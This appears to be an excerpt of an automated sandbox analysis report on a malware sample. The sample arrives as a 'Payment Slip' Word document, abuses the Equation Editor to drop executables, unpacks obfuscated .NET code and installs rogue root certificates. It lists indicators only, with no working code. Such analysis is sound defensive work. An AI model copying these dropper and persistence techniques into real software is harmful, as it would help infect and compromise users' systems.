Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: Payment Slip.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\Payment Slip.doc
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: LLnsOpxxAnmWi[1].exe.2.dr, Form1.cs .Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: vvndewepeter91026.exe.2.dr, Form1.cs .Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.25802e8.3.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.3d0000.0.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.252583c.4.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.2576cd0.2.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs .Net Code: zqfO5R4lW8PGwS1pTgt System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.252ee54.5.raw.unpack, JK.cs .Net Code: ve System.Reflection.Assembly.Load(byte[])
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs .Net Code: zqfO5R4lW8PGwS1pTgt System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00546354 push ss; ret 2_2_005464EC
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005401F4 push eax; retf 2_2_005401F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0054FB99 push eax; ret 2_2_0054FBA1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0054C28C pushad ; retn 0054h 2_2_0054C28D
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_002662A4 push esp; iretd 5_2_002662A9
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_00266922 pushfd ; iretd 5_2_00266929
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 5_2_00265F9A push eax; retf 5_2_00265FA1
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_002321AD push ebx; iretd 8_2_002321EA
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_002321FD push ebx; iretd 8_2_002321EA
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_0023D410 push edi; retf 0023h 8_2_0023D411
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00609590 pushfd ; retn 005Eh 8_2_00609591
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C328F7 push ds; ret 8_2_00C328FE
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C32880 push cs; ret 8_2_00C32882
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C32847 push es; ret 8_2_00C3284A
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C32845 push es; ret 8_2_00C32846
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C32903 push ds; ret 8_2_00C32906
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Code function: 8_2_00C32901 push ds; ret 8_2_00C32902
Source: LLnsOpxxAnmWi[1].exe.2.dr Static PE information: section name: .text entropy: 7.882388794743662
Source: vvndewepeter91026.exe.2.dr Static PE information: section name: .text entropy: 7.882388794743662
Source: 5.2.vvndewepeter91026.exe.25802e8.3.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.3d0000.0.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.252583c.4.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.2576cd0.2.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, Rsjwms4Wh8At7jltVf.cs High entropy of concatenated method names: 'saV14aRn5H', 'moE1P52r93', 'TKw1lioyLO', 'Tgp1pca6Bh', 'Cmy1we7IUo', 'Wgq1DupFs5', 'CaI1Mi57nK', 'Lbw1sLeqBx', 'idZ13c8NAv', 'O0T1mxeA09'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, hnb1mywmKd17dlbrAS.cs High entropy of concatenated method names: 'Dispose', 'mR89ae4IBQ', 'SJdk0qMKGV', 'puBVVvKaKN', 'tps9oyNhKU', 'PRD9z8IgcF', 'ProcessDialogKey', 'E2dk8n82kY', 't9gk9jtrH3', 'mBmkkAPsqe'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, LVNaJWsMIVA7LTLASE.cs High entropy of concatenated method names: 'zu7RHG1UCo', 'vEbR0GP5w9', 'Eo1RnLElCC', 'zSyRb4C8gr', 'L0DRqt1jRb', 'TXZRg6Ppie', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, D33N8oUtGVx7cDxPuT.cs High entropy of concatenated method names: 'Lp7JThJpMH', 'q8ZJr8Jvgu', 'xaoJqZNHsW', 'CwFJX9qL4U', 'BgjJ0sJB97', 'HlbJnZxrmw', 'UUJJbpHxl3', 'TmgJgfpCvS', 'OX8Jiv5yws', 'f4pJfSeAAh'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, zQyvpDqyxKTxd6tm0NN.cs High entropy of concatenated method names: 'GR7x4eMqyc', 'Kq8xPbdu6R', 'J7BxlIIphe', 'GQ7xpT3Nxd', 'LmaxwG8D2Y', 'R9hxDqi7L0', 'Ax6xMaB0Zt', 'NxYxs9KyRH', 'MlHx3p2K2W', 'VG5xmLUKfn'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, ksWtZCxKsl0TxRCTo8.cs High entropy of concatenated method names: 'GMr1LFkylo', 'hBS1ywuum5', 'ro41O5nLLW', 'VWvOoTrbwJ', 'x5aOzGVTLw', 'IAf18nrD6A', 'n5n19G5FS1', 'fBl1kLDsu7', 'j8A1QDxhFt', 'QhN1d7YRXe'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, pLwTg0qqY9GrvEoZXIs.cs High entropy of concatenated method names: 'ToString', 'a145Q4j8pu', 'KEt5dvERQh', 'DdN5I8eM0e', 'f0E5LRPIbe', 'wT056EPSsu', 'gSU5yxunrt', 'Gsw5EYZYIa', 'f7knYFscmhRWVWPDeQu', 'mTw6y3s22lokcZlLY0g'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, E0RYX9X2eibsstJT2l.cs High entropy of concatenated method names: 'MToQIXKWBI', 'I3SQLs48n8', 'uf5Q6q4VEy', 'KWqQy0BBF1', 'UBEQEkuB7E', 'mIqQOFIKAA', 'wXWQ1wxG4a', 'sO5QKUDr8X', 'UTHQ7jmngF', 'T7eQFOJ0LT'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, lDlgAUP9SyyXYURNLR.cs High entropy of concatenated method names: 'EJi4pnojSnyAHRWqhYg', 'ErevP5orqMYelnaL321', 'kFEORtVAdX', 'Ku5Ox8stk6', 'OVRO5Ji6lb', 'CxNx8bo8umiUIrPhE6k', 'lIrvcSoddavqGvXHa7M'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, sC7nprRRvT8OJFZjOZ.cs High entropy of concatenated method names: 'rIk91RDsii', 'EuM9KyEpgg', 'KVG9F5wdH3', 'bJN9UWuJYc', 'ATy9J00PbH', 'l2k9e5iRIA', 'vgjpq3mDGeNj5ln0ix', 'wBXtHAIWQFkdYio0Cv', 'BC899EETi8', 'CUS9QYaSid'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, fSdvMKZMagrtwMm7Ri.cs High entropy of concatenated method names: 'lq2yprocYj', 'nEuyDyGS7y', 'IYryswC2ld', 'nvAy3Hoa8O', 'hRjyJPOISS', 'jDsyeSX940', 'o7iyCsHSMo', 'DnVyR9lYX6', 'DTQyx7NjxD', 'mKPy5h79Hy'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, O9PymkJ3NMlC2399qj.cs High entropy of concatenated method names: 'JKQhsEQCnj', 'o1Ah3VGbtY', 'GAThHYAQtH', 'Enah09bSsm', 'XX6hbdHFie', 'lgehgYG4SG', 'TZAhf0svRZ', 'TJEhckoEtg', 'RcthTZ3osW', 'FO5hjXiRBb'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, pBjySHqM5QnwRNWaSBd.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Q9V5qOaeUr', 'h9u5XNVCx7', 'ufn5G8oA96', 'hl95AuUrbM', 'hsu5SjNYox', 'xFD5N7vpyl', 'Skh5Ydgfbf'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, xGB0Wf6bc0bOdc8jTI.cs High entropy of concatenated method names: 'kTtEwQ9SoG', 'kClEM2Olvv', 'OTJynuxQtD', 'jUNybontt7', 'lvTyg7lONl', 'Up9yi4TYcW', 'myLyfre4Cc', 'fSgycK60ak', 'kBRyWA5x19', 'hseyTKO9Er'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, KdpVO0auC752URy1LH.cs High entropy of concatenated method names: 'ToString', 'Po7ejc2CtV', 'Li3e0yrEQ1', 'gqcenHUq3F', 'cTYebFVO9p', 'n2CegR7eyF', 'kTfeiJlr7P', 'jBIefowaER', 'jS7ecR3arw', 'iuMeWWiTPi'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, AnptoFjC7pNu1LqbY6.cs High entropy of concatenated method names: 'CxkCFyqNu8', 'tj9CULHR6k', 'ToString', 'jC5CL1HVrm', 'MYdC69JfMJ', 'f0gCy1rBOY', 'pTuCEljQqC', 'NKNCOjgG2b', 'YOeC1GsAfv', 'GMgCKDLHCP'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, qyT5B9fG4eENyHVdsw.cs High entropy of concatenated method names: 'GDqlxlYY4', 'hF5peEa0M', 'o9TDoN5Sa', 'wU4MruruE', 'K6k3fAj0h', 'DvImOJLqB', 'zPRJ50FG9eMejJkPmf', 'xSdN05GCNU8MZjBOu4', 'LtVR8YQni', 'nNH5UoFYi'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, ojeKecA3ycAgUvCgAn.cs High entropy of concatenated method names: 'BIix9SCJrv', 'PtdxQIBCLk', 'IYPxdRPe6o', 'J5cxL9cHMs', 'CZAx6rxAZF', 'DFAxEvYZXS', 'VmAxOPV1Wm', 'AjdRYjjrNi', 'K6VRuXW5nW', 'EtMRayGmQ3'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, kIOpWCowqWShKUKAee.cs High entropy of concatenated method names: 'fE5OI5NlLu', 'JfaO6bhCVu', 'PbdOEEUXYB', 'HStO1rReIi', 'FpJOKcMl0A', 'Ae8ESKhqgT', 'xT8ENk6Jhd', 'ISGEY5g6xW', 'Gq6EuAu9tU', 'O17EaNTZyA'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, KSQ07YHqchvMXla9N1.cs High entropy of concatenated method names: 'KKiRLLy6UN', 'HyrR6tuCpv', 'I8FRyKkQtY', 'FLLREStOBv', 'y0gROgqMIT', 'fE7R1G5hdk', 'gYnRKgLSgW', 'eixR7pHk04', 'g1yRFMTaBb', 'qkbRU4rFDr'
Source: 5.2.vvndewepeter91026.exe.5510000.9.raw.unpack, Uel8r1lQF2PkteGZrv.cs High entropy of concatenated method names: 'ltB6qcLvY0', 'brs6XHEJGa', 'WxM6GUBM0C', 'vP96AccmpA', 'YcG6SWCc1l', 'ePZ6NA8XmP', 'GaS6YUKp4S', 'ygy6uRCKrX', 'miQ6aI944q', 's4k6o6UxDd'
Source: 5.2.vvndewepeter91026.exe.252ee54.5.raw.unpack, JK.cs High entropy of concatenated method names: 'JK', 'Y3', 'Lv', 'F5', 'q9', 'Ou', 'NL', 'tg', 'Jy', 'kq'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, Rsjwms4Wh8At7jltVf.cs High entropy of concatenated method names: 'saV14aRn5H', 'moE1P52r93', 'TKw1lioyLO', 'Tgp1pca6Bh', 'Cmy1we7IUo', 'Wgq1DupFs5', 'CaI1Mi57nK', 'Lbw1sLeqBx', 'idZ13c8NAv', 'O0T1mxeA09'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, hnb1mywmKd17dlbrAS.cs High entropy of concatenated method names: 'Dispose', 'mR89ae4IBQ', 'SJdk0qMKGV', 'puBVVvKaKN', 'tps9oyNhKU', 'PRD9z8IgcF', 'ProcessDialogKey', 'E2dk8n82kY', 't9gk9jtrH3', 'mBmkkAPsqe'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, LVNaJWsMIVA7LTLASE.cs High entropy of concatenated method names: 'zu7RHG1UCo', 'vEbR0GP5w9', 'Eo1RnLElCC', 'zSyRb4C8gr', 'L0DRqt1jRb', 'TXZRg6Ppie', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, D33N8oUtGVx7cDxPuT.cs High entropy of concatenated method names: 'Lp7JThJpMH', 'q8ZJr8Jvgu', 'xaoJqZNHsW', 'CwFJX9qL4U', 'BgjJ0sJB97', 'HlbJnZxrmw', 'UUJJbpHxl3', 'TmgJgfpCvS', 'OX8Jiv5yws', 'f4pJfSeAAh'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, zQyvpDqyxKTxd6tm0NN.cs High entropy of concatenated method names: 'GR7x4eMqyc', 'Kq8xPbdu6R', 'J7BxlIIphe', 'GQ7xpT3Nxd', 'LmaxwG8D2Y', 'R9hxDqi7L0', 'Ax6xMaB0Zt', 'NxYxs9KyRH', 'MlHx3p2K2W', 'VG5xmLUKfn'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, ksWtZCxKsl0TxRCTo8.cs High entropy of concatenated method names: 'GMr1LFkylo', 'hBS1ywuum5', 'ro41O5nLLW', 'VWvOoTrbwJ', 'x5aOzGVTLw', 'IAf18nrD6A', 'n5n19G5FS1', 'fBl1kLDsu7', 'j8A1QDxhFt', 'QhN1d7YRXe'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, pLwTg0qqY9GrvEoZXIs.cs High entropy of concatenated method names: 'ToString', 'a145Q4j8pu', 'KEt5dvERQh', 'DdN5I8eM0e', 'f0E5LRPIbe', 'wT056EPSsu', 'gSU5yxunrt', 'Gsw5EYZYIa', 'f7knYFscmhRWVWPDeQu', 'mTw6y3s22lokcZlLY0g'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, E0RYX9X2eibsstJT2l.cs High entropy of concatenated method names: 'MToQIXKWBI', 'I3SQLs48n8', 'uf5Q6q4VEy', 'KWqQy0BBF1', 'UBEQEkuB7E', 'mIqQOFIKAA', 'wXWQ1wxG4a', 'sO5QKUDr8X', 'UTHQ7jmngF', 'T7eQFOJ0LT'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, lDlgAUP9SyyXYURNLR.cs High entropy of concatenated method names: 'EJi4pnojSnyAHRWqhYg', 'ErevP5orqMYelnaL321', 'kFEORtVAdX', 'Ku5Ox8stk6', 'OVRO5Ji6lb', 'CxNx8bo8umiUIrPhE6k', 'lIrvcSoddavqGvXHa7M'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, sC7nprRRvT8OJFZjOZ.cs High entropy of concatenated method names: 'rIk91RDsii', 'EuM9KyEpgg', 'KVG9F5wdH3', 'bJN9UWuJYc', 'ATy9J00PbH', 'l2k9e5iRIA', 'vgjpq3mDGeNj5ln0ix', 'wBXtHAIWQFkdYio0Cv', 'BC899EETi8', 'CUS9QYaSid'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, fSdvMKZMagrtwMm7Ri.cs High entropy of concatenated method names: 'lq2yprocYj', 'nEuyDyGS7y', 'IYryswC2ld', 'nvAy3Hoa8O', 'hRjyJPOISS', 'jDsyeSX940', 'o7iyCsHSMo', 'DnVyR9lYX6', 'DTQyx7NjxD', 'mKPy5h79Hy'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, O9PymkJ3NMlC2399qj.cs High entropy of concatenated method names: 'JKQhsEQCnj', 'o1Ah3VGbtY', 'GAThHYAQtH', 'Enah09bSsm', 'XX6hbdHFie', 'lgehgYG4SG', 'TZAhf0svRZ', 'TJEhckoEtg', 'RcthTZ3osW', 'FO5hjXiRBb'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, pBjySHqM5QnwRNWaSBd.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Q9V5qOaeUr', 'h9u5XNVCx7', 'ufn5G8oA96', 'hl95AuUrbM', 'hsu5SjNYox', 'xFD5N7vpyl', 'Skh5Ydgfbf'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, xGB0Wf6bc0bOdc8jTI.cs High entropy of concatenated method names: 'kTtEwQ9SoG', 'kClEM2Olvv', 'OTJynuxQtD', 'jUNybontt7', 'lvTyg7lONl', 'Up9yi4TYcW', 'myLyfre4Cc', 'fSgycK60ak', 'kBRyWA5x19', 'hseyTKO9Er'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, KdpVO0auC752URy1LH.cs High entropy of concatenated method names: 'ToString', 'Po7ejc2CtV', 'Li3e0yrEQ1', 'gqcenHUq3F', 'cTYebFVO9p', 'n2CegR7eyF', 'kTfeiJlr7P', 'jBIefowaER', 'jS7ecR3arw', 'iuMeWWiTPi'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, AnptoFjC7pNu1LqbY6.cs High entropy of concatenated method names: 'CxkCFyqNu8', 'tj9CULHR6k', 'ToString', 'jC5CL1HVrm', 'MYdC69JfMJ', 'f0gCy1rBOY', 'pTuCEljQqC', 'NKNCOjgG2b', 'YOeC1GsAfv', 'GMgCKDLHCP'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, qyT5B9fG4eENyHVdsw.cs High entropy of concatenated method names: 'GDqlxlYY4', 'hF5peEa0M', 'o9TDoN5Sa', 'wU4MruruE', 'K6k3fAj0h', 'DvImOJLqB', 'zPRJ50FG9eMejJkPmf', 'xSdN05GCNU8MZjBOu4', 'LtVR8YQni', 'nNH5UoFYi'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, ojeKecA3ycAgUvCgAn.cs High entropy of concatenated method names: 'BIix9SCJrv', 'PtdxQIBCLk', 'IYPxdRPe6o', 'J5cxL9cHMs', 'CZAx6rxAZF', 'DFAxEvYZXS', 'VmAxOPV1Wm', 'AjdRYjjrNi', 'K6VRuXW5nW', 'EtMRayGmQ3'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, kIOpWCowqWShKUKAee.cs High entropy of concatenated method names: 'fE5OI5NlLu', 'JfaO6bhCVu', 'PbdOEEUXYB', 'HStO1rReIi', 'FpJOKcMl0A', 'Ae8ESKhqgT', 'xT8ENk6Jhd', 'ISGEY5g6xW', 'Gq6EuAu9tU', 'O17EaNTZyA'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, KSQ07YHqchvMXla9N1.cs High entropy of concatenated method names: 'KKiRLLy6UN', 'HyrR6tuCpv', 'I8FRyKkQtY', 'FLLREStOBv', 'y0gROgqMIT', 'fE7R1G5hdk', 'gYnRKgLSgW', 'eixR7pHk04', 'g1yRFMTaBb', 'qkbRU4rFDr'
Source: 5.2.vvndewepeter91026.exe.37a7450.8.raw.unpack, Uel8r1lQF2PkteGZrv.cs High entropy of concatenated method names: 'ltB6qcLvY0', 'brs6XHEJGa', 'WxM6GUBM0C', 'vP96AccmpA', 'YcG6SWCc1l', 'ePZ6NA8XmP', 'GaS6YUKp4S', 'ygy6uRCKrX', 'miQ6aI944q', 's4k6o6UxDd'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
